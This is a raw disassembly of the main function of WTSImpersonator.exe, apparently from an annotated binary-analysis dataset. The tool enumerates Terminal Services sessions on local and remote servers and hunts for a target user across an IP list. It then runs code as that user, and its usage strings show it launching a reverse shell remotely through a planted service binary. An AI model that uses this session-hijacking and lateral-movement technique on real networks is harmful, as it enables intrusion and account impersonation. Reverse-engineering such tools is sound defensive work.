Function at 0x140003240
Capabilities:
Get session information
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov r15, rdx
mov r12d, ecx
lea rcx, str._n__________________________________________________________________________________________________n____________________________________________________________________________________________n________________________________________________________________________________________n_______________________________________________________________________n______________________________________________________________________n__________________________________.____________________________________n________________________________________________________________________________________________n________________________________________________________________________________________________n_________By:_Omri_Baso________________________________________________n
call fcn.140001860
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x48], r14
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r14b
mov qword [rsp + 0x60], r14
mov edi, 1
cmp r12d, edi
jle 0x140004350
lea r13, [r14 - 1]
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 3
lea rdx, [0x140008e88]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000331f
mov r8d, 7
lea rdx, str.__help
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400033df
lea rcx, str._nLocal:
call fcn.140001860
lea rcx, str._n_tWTSImpersonator.exe__m_enum
call fcn.140001860
lea rcx, str._n_tWTSImpersonator.exe__m_exec__id_3__c_C:WindowsSystem32cmd.exe
call fcn.140001860
lea rcx, str._n_nRemote:
call fcn.140001860
lea rcx, str._n_tWTSImpersonator.exe__m_enum__s_192.168.40.129
call fcn.140001860
lea rcx, str._n_tWTSImpersonator.exe__m_exec_remote__s_192.168.40.129__id_3__c_C:ReverseShell.exe__sp_C:WTSService.exe
call fcn.140001860
lea rcx, str._n_tWTSImpersonator.exe__m_user_hunter__c_C:ReverseShell.exe__sp_C:WTSService.exe__uh_LABS_Administrator__ipl_C:IpList.txt
call fcn.140001860
lea rcx, str._n_n___Note:_the_local__exec__mode_will_only_work_if_gets_done_through_PsExec_or_a_service.
call fcn.140001860
lea rcx, str._n_nFlags:
call fcn.140001860
lea rcx, str._n_t_m_____mode___mode_of_execution_exec_exec_remote_user_hunter.
call fcn.140001860
lea rcx, str._n_t_s_____server___remote_server_to_attack.
call fcn.140001860
lea rcx, str._n_t_sp_____srcpath___path_to_the_WTService.exe_service_executable.
call fcn.140001860
lea rcx, str._n_t_id_____sessionid___SessionId_of_that_victim_user_obtained_from_the__enum__module.
call fcn.140001860
lea rcx, str._n_t_uh_____user_hunter___Username_of_the_user_targrted_by_the__user_hunter__module.
call fcn.140001860
lea rcx, str._n_t_ipl_____ip_list___list_of_IPs_hostnames_used_for_the__user_hunter__module.
call fcn.140001860
lea rcx, str._n_t_c_____command___binary_path_you_want_to_run__it_is_better_to_use_the_full_path_with_this_flag.
call fcn.140001860
mov r8d, 3
lea rdx, [0x1400092f4]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140003413
mov r8d, 7
lea rdx, str.__mode
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140003421
inc edi
movsxd rax, edi
mov rax, qword [r15 + rax*8]
mov qword [rsp + 0x40], rax
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 3
lea rdx, [0x140009300]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000345c
mov r8d, 9
lea rdx, str.__server
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x14000346a
inc edi
movsxd rax, edi
mov rsi, qword [r15 + rax*8]
mov qword [rsp + 0x50], rsi
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 4
lea rdx, [0x140009314]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400034a5
mov r8d, 9
lea rdx, str.__srcpth
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400034b3
inc edi
movsxd rax, edi
mov rsi, qword [r15 + rax*8]
mov qword [rsp + 0x48], rsi
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 4
lea rdx, [0x140009324]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400034ee
mov r8d, 0xc
lea rdx, str.__sessionid
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140003501
inc edi
movsxd rcx, edi
mov rcx, qword [r15 + rcx*8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rsp + 0x30], eax
movsxd rcx, edi
lea rbx, [r15 + rcx*8]
mov r8d, 4
lea rdx, [0x140009334]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000353c
mov r8d, 0xe
lea rdx, str.__user_hunter
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140003594
inc edi
movsxd rax, edi
mov r9, qword [r15 + rax*8]
mov rsi, r13
nop dword [rax + rax]
inc rsi
cmp byte [r9 + rsi], 0
jne 0x140003550
mov rax, qword [rbp + 0x18]
cmp rsi, rax
ja 0x140003588
lea rbx, [rbp]
cmp rax, 0x10
cmovae rbx, qword [rbp]
mov qword [rbp + 0x10], rsi
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140003594
mov rdx, rsi
lea rcx, [rbp]
call fcn.1400063e0
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 5
lea rdx, str._ipl
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400035cf
mov r8d, 0xa
lea rdx, str.__ip_list
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400035dd
inc edi
movsxd rax, edi
mov rsi, qword [r15 + rax*8]
mov qword [rsp + 0x60], rsi
movsxd rax, edi
lea rbx, [r15 + rax*8]
mov r8d, 3
lea rdx, [0x14000935c]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140003618
mov r8d, 0xa
lea rdx, str.__command
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140003626
inc edi
movsxd rax, edi
mov rsi, qword [r15 + rax*8]
mov qword [rsp + 0x38], rsi
inc edi
cmp edi, r12d
jl 0x1400032e0
mov r15, qword [rsp + 0x40]
test r15, r15
je 0x140004350
mov rcx, r14
lea rdx, str.enum
nop dword [rax]
movzx eax, byte [r15 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140003922
cmp rcx, 5
jne 0x140003650
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x140003680
mov rcx, rax
call qword [sym.imp.WTSAPI32.dll_WTSOpenServerA]
mov rsi, rax
jmp 0x140003683
mov rsi, r14
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rsi
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsA]
test eax, eax
jne 0x1400036be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WTSEnumerateSessions_failed:__d_n
call fcn.140001860
jmp 0x140004356
mov edx, dword [rsp + 0x7c]
lea rcx, str.WTSEnumerateSessions_count:__d_n
call fcn.140001860
mov edi, r14d
cmp dword [rsp + 0x7c], r14d
jbe 0x140003922
lea r12, [0x140000000]
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x78], r14d
mov eax, edi
lea rcx, [rax + rax*2]
mov rax, qword [rsp + 0x68]
lea r8, [rax + rcx*8]
mov ebx, dword [r8]
movsxd rdx, dword [r8 + 0x10]
cmp edx, 9
ja case.default.0x140003720
mov ecx, dword [r12 + rdx*4 + 0x43cc]
add rcx, r12
jmp rcx
lea r9, str.WTSActive
jmp 0x140003783
lea r9, str.WTSConnected
jmp 0x140003783
lea r9, str.WTSConnectQuery
jmp 0x140003783
lea r9, str.WTSShadow
jmp 0x140003783
lea r9, str.WTSDisconnected
jmp 0x140003783
lea r9, str.WTSIdle
jmp 0x140003783
lea r9, str.WTSListen
jmp 0x140003783
lea r9, str.WTSReset
jmp 0x140003783
lea r9, str.WTSDown
jmp 0x140003783
lea r9, str.WTSInit
jmp 0x140003783
lea r9, str.INVALID_STATE
mov rax, qword [r8 + 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edx
mov r8d, ebx
mov edx, edi
lea rcx, str.__u__SessionId:__u_State:__s___u__WinstationName:__s_n
call fcn.140001860
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov r8d, 5
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140004359
mov rdx, qword [rsp + 0x58]
lea rcx, str._tWTSUserName:___s_n
call fcn.140001860
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov r8d, 7
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140004359
mov rdx, qword [rsp + 0x58]
lea rcx, str._tWTSDomainName:__s_n
call fcn.140001860
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov r8d, 8
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140004359
mov rax, qword [rsp + 0x58]
movsxd rdx, dword [rax]
cmp edx, 9
ja case.default.0x140003853
mov ecx, dword [r12 + rdx*4 + 0x43f4]
add rcx, r12
jmp rcx
lea r8, str.WTSActive
jmp 0x1400038b6
lea r8, str.WTSConnected
jmp 0x1400038b6
lea r8, str.WTSConnectQuery
jmp 0x1400038b6
lea r8, str.WTSShadow
jmp 0x1400038b6
lea r8, str.WTSDisconnected
jmp 0x1400038b6
lea r8, str.WTSIdle
jmp 0x1400038b6
lea r8, str.WTSListen
jmp 0x1400038b6
lea r8, str.WTSReset
jmp 0x1400038b6
lea r8, str.WTSDown
jmp 0x1400038b6
lea r8, str.WTSInit
jmp 0x1400038b6
lea r8, str.INVALID_STATE
lea rcx, str._tWTSConnectState:__u___s__n
call fcn.140001860
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov r8d, 0xe
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140004359
mov rcx, qword [rsp + 0x58]
cmp dword [rcx], 2
jne 0x140003916
movzx eax, byte [rcx + 9]
movzx r9d, byte [rcx + 8]
movzx r8d, byte [rcx + 7]
movzx edx, byte [rcx + 6]
mov dword [rsp + 0x20], eax
lea rcx, str._tClient_Address_:__d._d._d._d_n
call fcn.140001860
inc edi
cmp edi, dword [rsp + 0x7c]
jb 0x1400036f0
lea rdx, str.user_hunter
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140004290
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
mov rsi, qword [rbp + 0x10]
cmp rsi, 1
jb 0x140003996
lea rdi, [rbx + rsi]
mov r8, rsi
lea edx, [rax + 0x2f]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003996
cmp byte [rax], 0x2f
jne 0x140003972
mov ecx, r14d
jmp 0x140003977
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400039ea
inc rax
mov r8, rdi
sub r8, rax
mov edx, 0x2f
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003968
mov rax, r13
lea r9, [rsi - 1]
lea r8, [rax + 1]
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.140005380
nop
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
mov r8, qword [rbp + 0x10]
cmp r8, 1
jb 0x140003a17
lea rdi, [rbx + r8]
mov edx, 0x2f
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003a17
nop dword [rax]
cmp byte [rax], 0x2f
jne 0x1400039ef
mov ecx, r14d
jmp 0x1400039f4
sub rax, rbx
jmp 0x140003999
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140003ca8
inc rax
mov r8, rdi
sub r8, rax
mov edx, 0x2f
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x1400039e0
mov rax, r13
mov r9, rax
xor r8d, r8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp]
call fcn.140005380
nop
lea rdx, str._n___Hunting_for:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
mov rcx, rax
call fcn.140006770
lea rdx, [0x140009474]
mov rcx, rax
call fcn.140005990
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140006770
lea rdx, str._On_list:
mov rcx, rax
call fcn.140005990
mov rcx, rax
mov rdx, qword [rsp + 0x60]
call fcn.140005990
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x40]
call fcn.140005120
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.140006930
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140003f98
nop word [rax + rax]
mov qword [rsp + 0x60], r14
lea rdx, str.____Trying:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140006770
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.WTSAPI32.dll_WTSOpenServerA]
mov r12, rax
test rax, rax
je 0x140003f53
lea rdx, str.___Opned_WTS_Handle:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140006770
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, r12
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsA]
test eax, eax
je 0x140003ecc
mov esi, r14d
cmp dword [rsp + 0x68], r14d
jbe 0x140003ecc
nop dword [rax]
mov eax, esi
lea rcx, [rax + rax*2]
mov rax, qword [rsp + 0x70]
mov r15d, dword [rax + rcx*8]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8d, 5
mov edx, r15d
mov rcx, r12
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140003fdd
mov r9, qword [rsp + 0x60]
mov rdi, r13
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140003c70
mov rax, qword [rbp + 0x38]
cmp rdi, rax
ja 0x140003cb0
lea rbx, [rbp + 0x20]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x20]
mov qword [rbp + 0x30], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140003cbc
sub rax, rbx
jmp 0x140003a1a
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.1400063e0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8d, 7
mov edx, r15d
mov rcx, r12
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140003fdd
mov r9, qword [rsp + 0x60]
mov rbx, r13
nop dword [rax]
inc rbx
cmp byte [r9 + rbx], 0
jne 0x140003cf0
mov rax, qword [rbp - 0x28]
cmp rbx, rax
ja 0x140003d28
lea rdi, [rbp - 0x40]
cmp rax, 0x10
cmovae rdi, qword [rbp - 0x40]
mov qword [rbp - 0x30], rbx
mov r8, rbx
mov rdx, r9
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140003d34
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.1400063e0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
mov rbx, qword [rbp - 0x28]
mov r8, qword [rbp + 0x30]
cmp r8, qword [rbp - 0x10]
jne 0x140003d95
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003d95
lea rdx, [rbp - 0x40]
cmp rbx, 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
cmp r8, qword [rbp - 0x30]
jne 0x140003d95
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003da6
inc esi
cmp esi, dword [rsp + 0x68]
jae 0x140003ed0
jmp 0x140003c30
lea rdx, str._n_________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, str.___Found_User:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
mov rcx, rax
call fcn.140006770
lea rdx, [0x140009474]
mov rcx, rax
call fcn.140005990
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140006770
lea rdx, str._On_Server:
mov rcx, rax
call fcn.140005990
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140006770
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
lea rdx, str.___Getting_Code_Execution_as:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
mov rcx, rax
call fcn.140006770
lea rdx, [0x140009474]
mov rcx, rax
call fcn.140005990
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140006770
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x38]
mov ecx, r15d
call fcn.140001ed0
mov rbx, qword [rbp - 0x28]
cmp rbx, 0x10
jb 0x140003f08
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041a9
call fcn.140006ca0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003f53
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041b0
call fcn.140006ca0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.140006930
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140003b30
mov r15, qword [rsp + 0x40]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400041bd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140004018
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004013
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041a9
call fcn.140006ca0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140004063
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000405e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041b0
call fcn.140006ca0
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400040b1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.140005040
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140004146
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004141
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140004194
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000418f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000418f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
jmp 0x140004359
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140006ca0
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.140005040
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140004242
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000423d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000423d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140004290
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000428b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000428b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
lea rcx, str.exec
nop word [rax + rax]
movzx eax, byte [r15 + r14]
inc r14
cmp al, byte [rcx + r14 - 1]
jne 0x1400042ca
cmp r14, 5
jne 0x1400042a0
